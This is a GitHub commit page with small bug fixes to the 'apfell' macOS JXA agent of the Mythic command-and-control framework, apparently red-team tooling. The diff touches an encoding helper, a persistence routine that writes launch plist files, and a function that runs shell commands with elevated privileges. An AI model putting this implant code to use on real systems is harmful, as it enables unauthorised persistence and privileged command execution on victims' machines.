Skip to content

Commit

Permalink
Merge pull request #16 from MythicAgents/v2.3-testing
Browse files Browse the repository at this point in the history
fixed an issue with shell_elevated and a weird encoding happening due…
  • Loading branch information
its-a-feature authored Jul 18, 2022
2 parents 37eaf0f + 17f8ca5 commit a3ed563
Show file tree
Hide file tree
Showing 3 changed files with 7 additions and 7 deletions.
4 changes: 2 additions & 2 deletions Payload_Type/apfell/agent_code/base/apfell-jxa.js
Original file line number Diff line number Diff line change
Expand Up @@ -69,8 +69,8 @@ does_file_exist = function(strPath){
};
convert_to_nsdata = function(strData){
// helper function to convert UTF8 strings to NSData objects
var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSUnicodeStringEncoding);
return tmpString.dataUsingEncoding($.NSUTF16StringEncoding);
var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSUTF8StringEncoding);
return tmpString.dataUsingEncoding($.NSUTF8StringEncoding);
};
write_data_to_file = function(data, file_path){
try{
Expand Down
8 changes: 4 additions & 4 deletions Payload_Type/apfell/agent_code/persist_launch.js
Original file line number Diff line number Diff line change
Expand Up @@ -42,13 +42,13 @@ exports.persist_launch = function(task, command, params){
if(!fileManager.fileExistsAtPath(path)){
$.fileManager.createDirectoryAtPathWithIntermediateDirectoriesAttributesError(path, false, $(), $());
}
path = $(path.js + "/" + label + ".plist");
response = write_data_to_file(template, path) + " to " + ObjC.deepUnwrap(path);
let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': ObjC.deepUnwrap(path)}], "completed": true};
path = path.js + "/" + label + ".plist";
response = write_data_to_file(template, path) + " to " + path;
let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': path}], "completed": true};
return artifacts
}
else if(config.hasOwnProperty('LaunchPath') && config['LaunchPath'] !== ""){
response = write_data_to_file(template, $(config['LaunchPath'])) + " to " + config["LaunchPath"];
response = write_data_to_file(template, config['LaunchPath']) + " to " + config["LaunchPath"];
let artifacts = {'user_output': response, 'artifacts': [{'base_artifact': 'File Create', 'artifact': config["LaunchPath"]}], "completed": true};
return artifacts
}
Expand Down
2 changes: 1 addition & 1 deletion Payload_Type/apfell/agent_code/shell_elevated.js
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ exports.shell_elevated = function(task, command, params){
if(params.length > 0){ pieces = JSON.parse(params); }
else{ pieces = []; }
if(pieces.hasOwnProperty('command') && pieces['command'] !== ""){
if(pieces['command'][command.length -1] === "&"){
if(pieces['command'][pieces['command'].length -1] === "&"){
cmd = pieces['command'] + "> /dev/null &";
}else{
cmd = pieces['command'];
Expand Down

0 comments on commit a3ed563

Please sign in to comment.